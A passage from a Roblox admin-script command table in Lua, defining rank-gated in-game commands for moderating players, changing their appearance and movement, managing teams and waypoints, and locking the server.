7578 local Force = Player.Character.Torso:FindFirstChild("LMM SJ") if Force then Force:Destroy() end
7579 end
7580 end
7581 end};
7582
7583 [{"punish"}] = {"player", "Punishes player by removing player's character", 1, "Member", false, function(Speaker, Rank, Arguments)
7584 local Players = STRING:Scan(Arguments[1], Speaker)
7585 for _,Player in pairs(Players) do
7586 if Player.Character then
7587 Player.Character.Parent = Server.Lighting
7588 end
7589 end
7590 end};
7591
7592 [{"nopunish", "unpunish"}] = {"player", "Undoes the punish effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7593 local Players = STRING:Scan(Arguments[1], Speaker)
7594 for _,Player in pairs(Players) do
7595 if Player.Character then
7596 Player.Character.Parent = Server.Workspace
7597 Player.Character:MakeJoints()
7598 end
7599 end
7600 end};
7601
7602 [{"stun", "platformstand"}] = {"player", "Stuns player so he cannot move", 1, "Member", false, function(Speaker, Rank, Arguments)
7603 local Players = STRING:Scan(Arguments[1], Speaker)
7604 for _,Player in pairs(Players) do
7605 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7606 Player.Character.Humanoid.PlatformStand = true
7607 end
7608 end
7609 end};
7610
7611 [{"nostun", "unstun", "noplatformstand", "unplatformstand", "stand"}] = {"player", "Undoes the stun effect on player", 1, "Member", false, function(Speaker, Rank, Arguments)
7612 local Players = STRING:Scan(Arguments[1], Speaker)
7613 for _,Player in pairs(Players) do
7614 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7615 Player.Character.Humanoid.PlatformStand = false
7616 end
7617 end
7618 end};
7619
7620 [{"jump"}] = {"player", "Makes player jump", 1, "Member", false, function(Speaker, Rank, Arguments)
7621 local Players = STRING:Scan(Arguments[1], Speaker)
7622 for _,Player in pairs(Players) do
7623 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7624 Player.Character.Humanoid.Jump = true
7625 end
7626 end
7627 end};
7628
7629 [{"sit", "sitdown"}] = {"player", "Makes player sit down", 1, "Member", false, function(Speaker, Rank, Arguments)
7630 local Players = STRING:Scan(Arguments[1], Speaker)
7631 for _,Player in pairs(Players) do
7632 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7633 Player.Character.Humanoid.Sit = true
7634 end
7635 end
7636 end};
7637
7638 [{"nosit", "unsit", "nositdown", "unsitdown", "stand", "standup"}] = {"player", "Makes player stand up if sitting down", 1, "Member", false, function(Speaker, Rank, Arguments)
7639 local Players = STRING:Scan(Arguments[1], Speaker)
7640 for _,Player in pairs(Players) do
7641 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7642 Player.Character.Humanoid.Sit = false
7643 end
7644 end
7645 end};
7646
7647 [{"spin", "turn", "spinaround"}] = {"player", "Makes player spin around", 1, "Member", false, function(Speaker, Rank, Arguments)
7648 local Players = STRING:Scan(Arguments[1], Speaker)
7649 for _,Player in pairs(Players) do
7650 if Player.Character and Player.Character:FindFirstChild("Torso") then
7651 local Spin = Instance.new("BodyAngularVelocity", Player.Character.Torso) Spin.Name = "MML Spin" Spin.maxTorque = Vector3.new(0, math.huge, 0) Spin.angularvelocity = Vector3.new(0,20,0)
7652 end
7653 end
7654 end};
7655
7656 [{"nospin", "unspin", "noturn", "unturn", "nospinaround", "unspinaround"}] = {"player", "Stops player from spinning around", 1, "Member", false, function(Speaker, Rank, Arguments)
7657 local Players = STRING:Scan(Arguments[1], Speaker)
7658 for _,Player in pairs(Players) do
7659 if Player.Character and Player.Character:FindFirstChild("Torso") then
7660 local Spin = Player.Character.Torso:FindFirstChild("MML Spin") if Spin then Spin:Destroy() end
7661 end
7662 end
7663 end};
7664
7665 [{"port"}] = {"", "Gets the server network port", 0, "Owner", false, function(Speaker, Rank, Arguments)
7666 GUI:SendMessage(Speaker, "Server Port", "The server port for this server is: "..Server.NS.Port, "Information")
7667 end};
7668
7669 [{"chat"}] = {"player (color) string", "Makes player chat string. If color is available the color will be set to it", 2, "Member", false, function(Speaker, Rank, Arguments)
7670 local Color = "Blue"
7671 local String = Arguments[2]
7672 local ChatSplit = STRING:GetSplit(String, 1, Settings.Bet)
7673 if #ChatSplit >= 2 then
7674 if string.lower(ChatSplit[1]) == "green" then
7675 Color = "Green"
7676 String = ChatSplit[2]
7677 elseif string.lower(ChatSplit[1]) == "red" then
7678 Color = "Red"
7679 String = ChatSplit[2]
7680 end
7681 end
7682 local Players = STRING:Scan(Arguments[1], Speaker)
7683 for _,Player in pairs(Players) do
7684 if Player.Character and Player.Character:FindFirstChild("Head") then
7685 game:GetService("Chat"):Chat(Player.Character.Head, String, Color)
7686 end
7687 end
7688 end};
7689
7690 [{"missile", "mis", "rocket"}] = {"player", "Turns player into a missile. Use with care!", 1, "Admin", true, function(Speaker, Rank, Arguments)
7691 local Players = STRING:Scan(Arguments[1], Speaker)
7692 for _,Player in pairs(Players) do
7693 if Player.Character then
7694 CORE:ExecuteResource("Missile", Player.Character, {["Color"] = GUI:GetColor()})
7695 end
7696 end
7697 end};
7698
7699 [{"face"}] = {"player num(ID)", "Changes player's faces player num(ID) (must be decal/image)", 2, "Member", false, function(Speaker, Rank, Arguments)
7700 local Players = STRING:Scan(Arguments[1], Speaker)
7701 local ID = nil
7702 if tonumber(Arguments[2]) ~= nil then
7703 ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7704 else
7705 for FaceTable,FaceID in pairs({[{":3", "=3", ";3"}] = "45448697", [{":D", "=D", ";D"}] = "40528907", [{"D:", "D=", "D;"}] = "147285493", [{":(", "=(", ";(", "):", ")=", ");"}] = "67493660", [{":)", "=)", ";)", "(:", "(=", "(;"}] = "41420967", [{":o", "=o", ";o", "o:", "o=", "o;", ":0", "=0", ";0", "0:", "0=", "0;"}] = "14995229", [{":P", "=P", ";P"}] = "35853859", [{":/", "=/", ";/", "/:", "/=", "/;", [[:\]], [[=\]], [[;\]], [[\:]], [[\=]], [[\;]]}] = "141764028", [{":I", "=I", ";I", "I:", "I=", "I;", ":|", "=|", ";|", "|:", "|=", "|;"}] = "14922431"}) do
7706 for _,Face in pairs(FaceTable) do
7707 if string.lower(Arguments[2]) == string.lower(Face) then
7708 ID = FaceID
7709 break
7710 end
7711 end
7712 end
7713 end
7714 if ID then
7715 for _,Player in pairs(Players) do
7716 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
7717 Player.Character.Head.face.Texture = "rbxassetid://"..ID
7718 pcall(function() Player.Character.Label:GetChildren()[1].Head.Texture = "rbxassetid://"..ID end)
7719 end
7720 end
7721 end
7722 end};
7723
7724 [{"overlay", "ol"}] = {"player num(ID)", "Turns player's head into a 2D images of num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
7725 local Players = STRING:Scan(Arguments[1], Speaker)
7726 local ID = MARKET:GetImageFormat(tonumber(Arguments[2]))
7727 for _,Player in pairs(Players) do
7728 if Player.Character and Player.Character:FindFirstChild("Head") then
7729 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7730 BB = Instance.new("BillboardGui", Player.Character.Head) BB.Name = "MMLA Overlay" BB.AlwaysOnTop = true BB.Size = UDim2.new(1,0,1,0) BB.Adornee = Player.Character.Head
7731 local Image = Instance.new("ImageLabel", BB) Image.BackgroundTransparency = 1 Image.Image = "rbxassetid://"..ID Image.Position = UDim2.new(-0.5,0,-0.5,0) Image.Size = UDim2.new(2,0,2,0)
7732 end
7733 end
7734 end};
7735
7736 [{"nooverlay", "unoverlay", "nool", "unol"}] = {"player", "Removes any overlay on player's head from the overlay command", 1, "Member", false, function(Speaker, Rank, Arguments)
7737 local Players = STRING:Scan(Arguments[1], Speaker)
7738 for _,Player in pairs(Players) do
7739 if Player.Character and Player.Character:FindFirstChild("Head") then
7740 local BB = Player.Character.Head:FindFirstChild("MMLA Overlay") if BB then BB:Destroy() end
7741 end
7742 end
7743 end};
7744
7745 [{"notify"}] = {"string", "Sends string as a packet to the owner remotely", 1, "Admin", false, function(Speaker, Rank, Arguments)
7746 REMOTE:SendHttpLog(Speaker.Name.." Sent Notification: "..Arguments[1], "NOTIFICATION", Speaker)
7747 end, Http = true};
7748
7749 [{"downloadlogs", "downloadhttplogs", "getlogs", "gethttplogs"}] = {"", "Sends string as a packet to the owner remotely", 0, "Admin", false, function(Speaker, Rank, Arguments)
7750 GUI:ListGui(Speaker, "Http Logs", CORE:ReverseTable(REMOTE:DownloadUserdata(false).Logs), "Log")
7751 end, Http = true};
7752
7753 [{"note"}] = {"player string", "Saves string to player to all servers", 2, "Admin", false, function(Speaker, Rank, Arguments)
7754 local Players = STRING:Scan(Arguments[1], Speaker)
7755 for _,Player in pairs(Players) do
7756 local ExistingData = Player:LoadInstance("Data")
7757 if ExistingData == nil then
7758 ExistingData = Instance.new("Configuration")
7759 end
7760 ExistingData.Name = "Player Data"
7761 local Key = Instance.new("Configuration", ExistingData)
7762 Key.Name = Arguments[2]
7763 Player:SaveInstance("Data", ExistingData)
7764 end
7765 end};
7766
7767 [{"removenote", "noteremove"}] = {"player string", "Removes any note starting with string", 2, "Admin", false, function(Speaker, Rank, Arguments)
7768 local Players = STRING:Scan(Arguments[1], Speaker)
7769 local Data = Arguments[2]
7770 for _,Player in pairs(Players) do
7771 local ExistingData = Player:LoadInstance("Data")
7772 if ExistingData ~= nil then
7773 if string.lower(Data) == "all" then
7774 ExistingData:ClearAllChildren()
7775 else
7776 for _,DataObj in pairs(ExistingData:GetChildren()) do
7777 if string.sub(string.lower(DataObj.Name),1,#Data) == string.lower(Data) then
7778 DataObj:Destroy()
7779 end
7780 end
7781 end
7782 end
7783 Player:SaveInstance("Data", ExistingData)
7784 end
7785 end};
7786
7787 [{"shownotes", "shownote", "loadnotes", "loadnote", "notes", "getnotes", "getnote"}] = {"player", "Shows the saved notes of player", 1, "Member", false, function(Speaker, Rank, Arguments)
7788 local Players = STRING:Scan(Arguments[1], Speaker)
7789 local DataSet = {}
7790 for _,Player in pairs(Players) do
7791 local ExistingData = Player:LoadInstance("Data")
7792 if ExistingData ~= nil then
7793 if #ExistingData:GetChildren() ~= 0 then
7794 for _,Data in pairs(ExistingData:GetChildren()) do
7795 table.insert(DataSet, Player.Name..": "..Data.Name)
7796 end
7797 else
7798 table.insert(DataSet, "Data does not exist for "..Player.Name)
7799 end
7800 else
7801 table.insert(DataSet, "Data does not exist for "..Player.Name)
7802 end
7803 end
7804 GUI:ListGui(Speaker, "Notes", DataSet)
7805 end};
7806
7807 [{"forwards", "forward"}] = {"player", "Makes player walk forward at normal walkspeed", 1, "Member", false, function(Speaker, Rank, Arguments)
7808 local Players = STRING:Scan(Arguments[1], Speaker)
7809 for _,Player in pairs(Players) do
7810 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7811 Player.Character.Humanoid.WalkSpeed = 16
7812 end
7813 end
7814 end};
7815
7816 [{"backwards", "backward"}] = {"player", "Makes player walk backwards(reverse keys) at normal walkspeed", 1, "Member", true, function(Speaker, Rank, Arguments)
7817 local Players = STRING:Scan(Arguments[1], Speaker)
7818 for _,Player in pairs(Players) do
7819 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
7820 Player.Character.Humanoid.WalkSpeed = -16
7821 end
7822 end
7823 end};
7824
7825 [{"teamnew", "teamcreate", "newteam", "createteam"}] = {"string", "Creates a new team named string. If a color is detected, the team color will be set to it.", 1, "Member", false, function(Speaker, Rank, Arguments)
7826 local TeamColor = BrickColor.random()
7827 local TeamName = Arguments[1]
7828 local TeamNameSplit = STRING:GetSplit(TeamName, 1, " ")
7829 if #TeamNameSplit >= 2 then
7830 local Color = TeamNameSplit[1]
7831 local NewTeamName = TeamNameSplit[2]
7832 if Color == "Medium stone grey" then
7833 TeamColor = BrickColor.new(Color)
7834 TeamName = NewTeamName
7835 elseif BrickColor.new(Color) ~= BrickColor.new("Medium stone grey") then
7836 TeamColor = BrickColor.new(Color)
7837 TeamName = NewTeamName
7838 elseif Colors[string.upper(Color)] then
7839 TeamColor = BrickColor.new(GUI:GetColor(string.upper(Color)))
7840 TeamName = NewTeamName
7841 end
7842 end
7843
7844 local NewTeam = Instance.new("Team", Server.Teams)
7845 NewTeam.TeamColor = TeamColor
7846 NewTeam.Name = TeamName
7847 end};
7848
7849 [{"leaveteam", "teamleave"}] = {"player", "Makes player be on no team", 1, "Member", false, function(Speaker, Rank, Arguments)
7850 local Players = STRING:Scan(Arguments[1], Speaker)
7851 for _,Player in pairs(Players) do
7852 Player.Neutral = true
7853 end
7854 end};
7855
7856 [{"team", "teamjoin", "jointeam"}] = {"player string", "Makes it so player joints team string", 2, "Member", false, function(Speaker, Rank, Arguments)
7857 local Players = STRING:Scan(Arguments[1], Speaker)
7858 if string.lower(Arguments[2]) == "none" then
7859 for _,Player in pairs(Players) do
7860 Player.Neutral = true
7861 end
7862 else
7863 for _,Obj in pairs(Server.Teams:GetChildren()) do
7864 if Obj:IsA("Team") then
7865 if string.sub(string.lower(Obj.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
7866 for _,Player in pairs(Players) do
7867 Player.Neutral = false
7868 Player.TeamColor = Obj.TeamColor
7869 end
7870 end
7871 end
7872 end
7873 end
7874 end};
7875
7876 [{"noteam", "unteam", "nonewteam", "unnewteam"}] = {"string", "Finds the team named string and removes it", 1, "Member", false, function(Speaker, Rank, Arguments)
7877 for _,Obj in pairs(Server.Teams:GetChildren()) do
7878 if Obj:IsA("Team") then
7879 if string.sub(string.lower(Obj.Name),1,#Arguments[1]) == string.lower(Arguments[1]) then
7880 for _,Player in pairs(Server.Players:GetPlayers()) do
7881 if Player.TeamColor == Obj.TeamColor then
7882 Player.Neutral = true
7883 end
7884 end
7885 Obj:Destroy()
7886 end
7887 end
7888 end
7889 end};
7890
7891 [{"clearteams", "cleanteams"}] = {"", "Clears all teams", 0, "Member", false, function(Speaker, Rank, Arguments)
7892 for _,Player in pairs(Server.Players:GetPlayers()) do
7893 Player.Neutral = true
7894 end
7895 for _,Obj in pairs(Server.Teams:GetChildren()) do
7896 if Obj:IsA("Team") then
7897 Obj:Destroy()
7898 end
7899 end
7900 end};
7901
7902 [{"countdown", "count", "ticker"}] = {"num", "Counts down an alarm from num", 1, "Member", false, function(Speaker, Rank, Arguments)
7903 for _,Player in pairs(Server.Players:GetPlayers()) do
7904 GUI:Countdown(Player, Arguments[1])
7905 end
7906 end};
7907
7908 [{"showad", "ad"}] = {"player", "Shows an ad to player(As of now, only people on mobile devices can see)", 1, "Admin", false, function(Speaker, Rank, Arguments)
7909 local Players = STRING:Scan(Arguments[1], Speaker)
7910 for _,Player in pairs(Players) do
7911 if Player:FindFirstChild("Backpack") then
7912 CORE:ExecuteResource("ShowAd", Player.Backpack)
7913 end
7914 end
7915 end};
7916
7917 [{"warp", "warpto"}] = {"player string", "Warps player to the point of string", 2, "Member", false, function(Speaker, Rank, Arguments)
7918 local Players = STRING:Scan(Arguments[1], Speaker)
7919 for _,Player in pairs(Players) do
7920 if Player.Character then
7921 for PosName,WP in pairs(Waypoints) do
7922 if string.sub(string.lower(PosName),1,#Arguments[2]) == string.lower(Arguments[2]) then
7923 Player.Character:MoveTo(WP + Vector3.new(0,0.5,0))
7924 break
7925 end
7926 end
7927 end
7928 end
7929 end};
7930
7931 [{"waypoint", "addwaypoint"}] = {"string num(X) num(Y) num(Z)", "Adds a waypoint to warp named string with the XYZ coordinates", 4, "Admin", false, function(Speaker, Rank, Arguments)
7932 CORE:AddWaypoint(Arguments[1], Vector3.new(Arguments[2], Arguments[3], Arguments[4]), Speaker)
7933 end};
7934
7935 [{"removewaypoint", "deletewaypoint", "destroywaypoint", "nowaypoint", "unwaypoint"}] = {"string", "Removes any waypoint named string", 1, "Member", false, function(Speaker, Rank, Arguments)
7936 local Num = 0
7937 for PosName,WP in pairs(Waypoints) do
7938 Num = Num + 1
7939 if string.sub(string.lower(PosName),1,#Arguments[1]) == Arguments[1] then
7940 Waypoints[PosName] = nil
7941 end
7942 end
7943 end};
7944
7945 [{"waypoints", "viewwaypoints", "waypointlist", "listwaypoints"}] = {"", "Views all waypoints to warp to", 0, "Member", false, function(Speaker, Rank, Arguments)
7946 local WaypointHolder,WaypointRaw = {},{}
7947 for Name, WP in pairs(Waypoints) do
7948 local View = Name..": "..tostring(WP)
7949 table.insert(WaypointHolder, View)
7950 WaypointRaw[View] = WP
7951 end
7952 local Clicked = GUI:ListGui(Speaker, "Waypoint List", WaypointHolder, "Map")
7953 Clicked.Event:connect(function(Text)
7954 local Waypoint = WaypointRaw[Text]
7955 if Waypoint then
7956 if Speaker.Character then
7957 Speaker.Character:MoveTo(Waypoint)
7958 end
7959 end
7960 end)
7961 end};
7962
7963 [{"list", "listplayer", "listplayers"}] = {"player", "Lists the player(s) in a gui list", 1, "Member", false, function(Speaker, Rank, Arguments)
7964 local Players = STRING:Scan(Arguments[1], Speaker)
7965 local List = {}
7966 for _,Player in pairs(Players) do
7967 table.insert(List, Player.Name.." (ID: "..Player.UserId..")")
7968 end
7969 GUI:ListGui(Speaker, "Listed Players", List)
7970 end};
7971
7972 [{"givepoints"}] = {"player num", "Gives num playerpoints to player", 2, "Owner", false, function(Speaker, Rank, Arguments)
7973 if tonumber(Arguments[1]) then
7974 ypcall(function() Server.PS:AwardPoints(tonumber(Arguments[1]), tonumber(Arguments[2])) end)
7975 else
7976 local Players = STRING:Scan(Arguments[1], Speaker)
7977 for _,Player in pairs(Players) do
7978 ypcall(function() Server.PS:AwardPoints(Player.UserId, tonumber(Arguments[2])) end)
7979 end
7980 end
7981 end};
7982
7983 [{"friends", "getfriends", "listfriends", "showfriends"}] = {"player", "Shows all the friends player is friends with in the server", 1, "Member", false, function(Speaker, Rank, Arguments)
7984 local Players = STRING:Scan(Arguments[1], Speaker)
7985 local Friends,OneFriend = {}, false
7986 for _,Player in pairs(Players) do
7987 for _,User in pairs(game:GetService("Players"):GetPlayers()) do if User ~= Player then
7988 --[[if Player:IsBestFriendsWith(User.UserId) then
7989 table.insert(Friends, Player.Name.." is best friends with "..User.Name)
7990 OneFriend = true
7991 ]]
7992 if Player:IsFriendsWith(User.UserId) then
7993 table.insert(Friends, Player.Name.." is friends with "..User.Name)
7994 OneFriend = true
7995 end
7996 if _ == #game:GetService("Players"):GetPlayers() and OneFriend == false then
7997 table.insert(Friends, Player.Name.." has no friends in this server (Loner)")
7998 end
7999 end end
8000 end
8001 GUI:ListGui(Speaker, "Friend List", Friends)
8002 end};
8003
8004 [{"serverlock", "lockserver"}] = {"", "Locks the server to prevent non-admins from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8005 Settings.ServerLocked = true
8006 GUI:MessageAdmins("Server Locked", "The server has been locked. Only admins can join at this point.", 10, "Lock")
8007 end};
8008
8009 [{"noserverlock", "unserverlock", "unlockserver", "nolockserver", "nolock", "unlock"}] = {"", "Unlocks the server to enable non-admin joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8010 Settings.ServerLocked = false
8011 GUI:MessageAdmins("Server Unlocked", "The server has been unlocked. Anyone not banned or crashed can join", 10, 11344402)
8012 end};
8013
8014 [{"minage", "minimumage", "restrictage"}] = {" num", "Restricts any player that is younger than the age(in days) num from joining", 0, "Owner", false, function(Speaker, Rank, Arguments)
8015 local OldAge = Settings.MinimumAge
8016 local Age = tostring(Arguments[1])
8017 if Age then
8018 Settings.MinimumAge = Age
8019 GUI:MessageAdmins("Minumum age change", "The minimum age required to join this server is now "..Age.." days old(was "..OldAge.." days old)", 10)
8020 end
8021 end};
8022
8023 [{"vipadmin", "adminvip"}] = {"", "Prompts speaker the VIP item to grant Admin level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8024 if Settings.VIPAdminID <= 1 then
8025 MARKET:PromptPurchase(Speaker, VIPAdminID)
8026 else
8027 CORE:SendMessage(Speaker, "No Admin VIP", "The creator ("..GameOwner..") did not add a admin rank VIP to Make".."rModelLua's Admin", 7)
8028 end
8029 end};
8030
8031 [{"vipmember", "membervip"}] = {"", "Prompts speaker the VIP item to grant Member level permissions", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8032 if Settings.VIPMemberID <= 1 then
8033 MARKET:PromptPurchase(Speaker, VIPMemberID)
8034 else
8035 CORE:SendMessage(Speaker, "No Member VIP", "The creator ("..GameOwner..") did not add a member rank VIP to Make".."rModelLua's Admin", 7)
8036 end
8037 end};
8038
8039 [{"headsize", "sizehead", "resizehead", "headresize"}] = {"player num", "Resizes player's head to num. 100 = normal size 200 = double size 50 = half size", 2, "Member", true, function(Speaker, Rank, Arguments)
8040 if tonumber(Arguments[2]) then
8041 local Players = STRING:Scan(Arguments[1], Speaker)
8042 local Size = tonumber(Arguments[2])+25
8043 for _,Player in pairs(Players) do
8044 if Player.Character then
8045 if Player.Character:FindFirstChild("Head") then
8046 if Player.Character.Head:FindFirstChild("Mesh") then
8047 Player.Character.Head.Mesh.Scale = Vector3.new(Size/100,Size/100,Size/100)
8048 end
8049 end
8050 end
8051 end
8052 end
8053 end};
8054
8055 [{"control"}] = {"player", "Allows speaker to take control of player", 1, "Member", false, function(Speaker, Rank, Arguments)
8056 local Players = STRING:Scan(Arguments[1], Speaker)
8057 for _,Player in pairs(Players) do
8058 if Player.Character and Player.Character:FindFirstChild("Torso") then
8059 CORE:ChangeCharacter(Speaker, Player.UserId, false, Speaker, true, Player.Character.Torso.Position)
8060 Player.Character.Parent = nil
8061 CORE:ExecuteResource("CameraControl", Player.Backpack, {["Speaker"] = Speaker})
8062 end
8063 end
8064 end};
8065
8066 [{"settings"}] = {"", "Shows settings to speaker. If high enough rank, the speaker can edit settings", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
8067 GUI:SettingsGui(Speaker)
8068 end};
8069
8070 [{"hasasset", "ownsasset"}] = {"player num(ID)", "Shows if player has asset num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
8071 if tonumber(Arguments[2]) then
8072 local Players = STRING:Scan(Arguments[1], Speaker)
8073 local List = {}
8074 for _,Player in pairs(Players) do
8075 if Server.MPS:PlayerOwnsAsset(Player, tonumber(Arguments[2])) then
8076 table.insert(List, Player.Name)
8077 end
8078 end
8079 GUI:ListGui(Speaker, "Players who have asset ID: "..Arguments[2], List, 23916171)
8080 end
8081 end};
8082
8083 [{"reck", "rek", "rekt", "shrekt", "wreck", "noscope", "mlg"}] = {"player", "rekts player in a haxy way", 1, "Member", true, function(Speaker, Rank, Arguments)
8084 local Players = STRING:Scan(Arguments[1], Speaker)
8085 for _,Player in pairs(Players) do
8086 if Player.Character and Player.Character:FindFirstChild("Head") then
8087 local Char = Player.Character
8088 Char:BreakJoints()
8089 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8090 Obj.Anchored = true
8091 for _,Face in pairs({"Top", "Bottom", "Right", "Left", "Front", "Back"}) do
8092 local Decal = Instance.new("Decal", Obj)
8093 Decal.Texture = "rbxassetid://178913323"
8094 Decal.Face = Face
8095 end
8096 end)
8097 local Sound1 = SOUND:MakeSound(Char.Head, 131509782, 1, 1)
8098 local Sound2 = SOUND:MakeSound(Char.Head, 179497874, 1, 1)
8099 Sound1:Play() Sound2:Play()
8100 coroutine.wrap(function()
8101 coroutine.wrap(function() wait(4.9) Sound1:Stop() Sound2:Stop() end)()
8102 repeat wait()
8103 CORE:ScanItems(Char, {"BasePart"}, function(Obj)
8104 SOUND:MakeSound(Char.Head, "rbxasset://sounds/uuhhh.mp3", 1, math.random(80,120)/100):Play()
8105 Obj.Transparency = math.random(0,30)/100
8106 Obj.Reflectance = math.random(0,50)/100
8107 Obj.CFrame = Obj.CFrame * CFrame.new(math.random(-10,10),math.random(-5,10),math.random(-10,10)) * CFrame.Angles(math.rad(math.random(0,360)),math.rad(math.random(0,360)),math.rad(math.random(0,360)))
8108 end)
8109 until Char ~= Player.Character or Char.Parent == nil
8110 end)()
8111 end
8112 end
8113 end, Hidden = true};
8114
8115 [{"define", "lookup", "definition"}] = {"string", "Looks up the word on webster's online dictionary", 1, "Member", false, function(Speaker, Rank, Arguments)
8116 GUI:SendMessage(Speaker, "Definition of "..Arguments[1], REMOTE:DefineWord(Arguments[1]), 185923691)
8117 end, Http = true};
8118
8119 [{"neon", "glow"}] = {"player", "Makes player glow like a neon light", 1, "Member", false, function(Speaker, Rank, Arguments)
8120 local Players = STRING:Scan(Arguments[1], Speaker)
8121 for _,Player in pairs(Players) do
8122 if Player.Character then
8123 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8124 Obj.Material = "Neon"
8125 end)
8126 end
8127 end
8128 end};
8129
8130 [{"noneon", "noglow", "unneon", "unglow"}] = {"player", "Removes any glowing neon from player", 1, "Member", false, function(Speaker, Rank, Arguments)
8131 local Players = STRING:Scan(Arguments[1], Speaker)
8132 for _,Player in pairs(Players) do
8133 if Player.Character then
8134 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
8135 Obj.Material = "Plastic"
8136 end)
8137 end
8138 end
8139 end};
8140
8141 [{"asd", "swag"}] = {"player", "Makes player look like a swagger", 1, "Member", true, function(Speaker, Rank, Arguments)
8142 local Players = STRING:Scan(Arguments[1], Speaker)
8143 for _,Player in pairs(Players) do
8144 if Player.Character then
8145 CORE:ScanItems(Player.Character, {"JointInstance"}, function(Obj)
8146 Obj.C0 = Obj.C0 * CFrame.new(math.random(-5,5),math.random(0,5),math.random(-5,5))
8147 end)
8148 end
8149 end
8150 end, Hidden = true};
8151
8152 [{"getpos", "getposition", "playerpos", "playerposition"}] = {"player", "Gets player's position and prompts to add it to waypoints", 1, "Admin", false, function(Speaker, Rank, Arguments)
8153 local Players = STRING:Scan(Arguments[1], Speaker)
8154 for _,Player in pairs(Players) do
8155 if Player.Character and Player.Character:FindFirstChild("Torso") then
8156 local Pos = Player.Character.Torso.Position
8157 Pos = Vector3.new(CORE:Round(Pos.X), CORE:Round(Pos.Y), CORE:Round(Pos.Z))
8158 local Answer = GUI:PromptMessageWithButtons(Speaker, Player.Name.."'s position", Player.Name.." is located at ("..tostring(Pos)..") would you like a waypoint under his/her name?", "Question", {"Cancel", "Ok"})
8159 if Answer == "Ok" then
8160 CORE:AddWaypoint(Player.Name, Pos, Speaker)
8161 end
8162 end
8163 end
8164 end};
8165
8166 [{"point", "find", "laser"}] = {"player1 player2", "Creates a laser that points from player1 to player2", 2, "Member", false, function(Speaker, Rank, Arguments)
8167 local PlayersFrom = STRING:Scan(Arguments[1], Speaker)
8168 local PlayersTo = STRING:Scan(Arguments[2], Speaker)
8169 if PlayersFrom and PlayersTo then
8170 for _,PlayerFrom in pairs(PlayersFrom) do
8171 for _,PlayerTo in pairs(PlayersTo) do
8172 if PlayerFrom.Character and PlayerTo.Character then
8173 if PlayerFrom.Character:FindFirstChild("Humanoid") and PlayerTo.Character:FindFirstChild("Torso") then coroutine.wrap(function()
8174 local Laser = Instance.new("SelectionPartLasso", PlayerFrom.Character) Laser.Humanoid = PlayerFrom.Character.Humanoid Laser.Part = PlayerTo.Character.Torso Laser.Color = GUI:GetNameColor(PlayerTo.Name)
8175 wait(5)
8176 Laser:Destroy()
8177 end)() end
8178 end
8179 end
8180 end
8181 end
8182 end};
8183
8184 [{"ragdoll", "rag"}] = {"player", "Makes player a ragdoll(Removes humanoid)", 1, "Member", false, function(Speaker, Rank, Arguments)
8185 local Players = STRING:Scan(Arguments[1], Speaker)
8186 for _,Player in pairs(Players) do
8187 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
8188 Player.Character.Humanoid:Destroy()
8189 end
8190 end
8191 end};
8192
8193 [{"plugins", "getplugins", "pluginlist"}] = {"", "Shows plugins", 0, "Admin", false, function(Speaker, Rank, Arguments)
8194 if Plugins then
8195 local List = {}
8196 for _,Module in pairs(Plugins:GetChildren()) do
8197 if Module:IsA("ModuleScript") then
8198 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8199 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8200 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8201 table.insert(List, Module.Name.." V"..VersionVal.Value.." by "..Creator.Value.." | RUNNING: "..STRING:BoolString(Enabled.Value))
8202 end
8203 end
8204 GUI:ListGui(Speaker, "Plugin List", List, "Plugin")
8205 else
8206 GUI:SendMessage(Speaker, "Cannot get plugins", "Could not find plugin directory", "Notice", 5)
8207 end
8208 end};
8209
8210 [{"detachchat", "detachc", "dchat", "dc"}] = {"player", "Detaches player's roblox chat gui into a MMLA gui", 1, "Admin", false, function(Speaker, Rank, Arguments)
8211 local Players = STRING:Scan(Arguments[1], Speaker)
8212 for _,Player in pairs(Players) do
8213 GUI:DetachChat(Player)
8214 end
8215 end};
8216
8217 [{"detachmychat", "detachmyc", "dmychat", "dmyc", "detachmchat", "detachmc", "dmchat", "dmc"}] = {"", "Detaches speaker's roblox chat gui into a MMLA gui", 0, "Member", false, function(Speaker, Rank, Arguments)
8218 GUI:DetachChat(Speaker)
8219 end};
8220
8221 [{"truck", "runover"}] = {"player", "Runs player over with a truck", 1, "Member", true, function(Speaker, Rank, Arguments)
8222 local Players = STRING:Scan(Arguments[1], Speaker)
8223 for _,Player in pairs(Players) do
8224 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
8225 local Dead = false
8226
8227 Player.Character.Humanoid.WalkSpeed = 1
8228 local Torso = Player.Character.Torso
8229 local Truck = Instance.new("Part", Workspace) Truck.Name = "Truck" Truck.Size = Vector3.new(9, 9, 15) Truck.CanCollide = false Truck.Position = Torso.CFrame:toWorldSpace(CFrame.new(0, 0, -150)).p
8230 Truck:BreakJoints()
8231 local Mesh = Instance.new("SpecialMesh", Truck) Mesh.MeshId = "rbxassetid://52157810" Mesh.TextureId = "rbxassetid://52157085" Mesh.Scale = Vector3.new(11, 11, 11)
